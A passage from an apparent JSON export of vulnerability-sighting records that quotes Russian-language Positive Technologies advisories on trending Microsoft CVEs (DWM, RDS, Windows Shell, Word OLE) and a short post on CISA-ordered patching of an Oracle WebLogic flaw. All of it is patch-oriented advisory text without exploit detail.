\u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u043c\u0438 \u0434\u0432\u0438\u0436\u043a\u0430\u043c\u0438 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c. OLE \u2014 \u044d\u0442\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f Microsoft, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0438\u043b\u0438 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u0435.\n\n3\ufe0f\u20e3 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 Microsoft Office, \u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0441\u043e\u0444\u0442\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 OLE-\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432.\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u043e\u0439 \u0435\u0449\u0435 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441 \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 25 \u0444\u0435\u0432\u0440\u0430\u043b\u044f. \u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Microsoft Office.\n\n\u0415\u0441\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0449\u0438\u0442\u0435 \u0432 \u043a\u0430\u043d\u0430\u043b\u0435 ESCalator.\n\n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:57.997448Z"}, {"uuid": "d3650711-4746-43c5-9d54-22e8fd7c7951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u041e\u0421 Windows. \u041a\u0430\u0436\u0434\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 MaxPatrol VM \u0443\u0436\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u043c \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0435.\n\n1\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Desktop Window Manager (DWM)\nPT-2026-7404 (CVE-2026-21519, CVSS \u2014 7,8)\n\n\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u0445\u0430\u043a\u0435\u0440 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0430\u0434 \u043d\u0435\u0439 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c (\u0443\u0440\u043e\u0432\u0435\u043d\u044c SYSTEM).\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u2014 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n2\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (RDS)\nPT-2026-7412 (CVE-2026-21533, CVSS \u2014 7,8)\n\n\u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM.\n\n\u0418\u043c\u0435\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0412\u041f\u041e \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0442\u0435\u043d\u0435\u0432\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 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\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 Microsoft.\n\n#\u0432\u0442\u0440\u0435\u043d\u0434\u0435VM\n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:57.236544Z"}, {"uuid": "7abd238c-c98b-401f-9d22-78789db7d271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/Positive_Technologies/4006", "content": "\u0423\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 Windows? \u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438 Office \ud83d\udd04\n\nMicrosoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 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\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Office \u0438\u043b\u0438 \u043d\u0430 \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\n\n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:57.955276Z"}, {"uuid": "252cbe78-4901-4ef7-9bdb-2ce491d759da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mtve3wx6kk2m", "content": "CISA ordered immediate patching of CVE-2026-21962, a widely exploited unauthenticated remote code execution flaw in Oracle WebLogic components.\n", "creation_timestamp": "2026-08-25T08:02:18.439965Z"}, {"uuid": "f84e0a3f-c1b5-4e33-b87b-6feb15c68fac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "seen", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430 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\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 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\u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n4\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word\nPT-2026-7400 (CVE-2026-21514, CVSS \u2014 7,8)\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 OLE (\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Office. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 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"creation_timestamp": "2026-07-26T02:02:56.642681Z"}, {"uuid": "ead17779-d1b3-419e-895d-75498970e952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "seen", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e 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\u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n2\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (RDS)\nPT-2026-7412 (CVE-2026-21533, CVSS \u2014 7,8)\n\n\u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM.\n\n\u0418\u043c\u0435\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0412\u041f\u041e \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0442\u0435\u043d\u0435\u0432\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 SmartScreen \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f Windows Shell.\n\n\u0427\u0442\u043e\u0431\u044b \u0435\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0438\u043b\u0438 \u044f\u0440\u043b\u044b\u043a. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n4\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word\nPT-2026-7400 (CVE-2026-21514, CVSS \u2014 7,8)\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443, 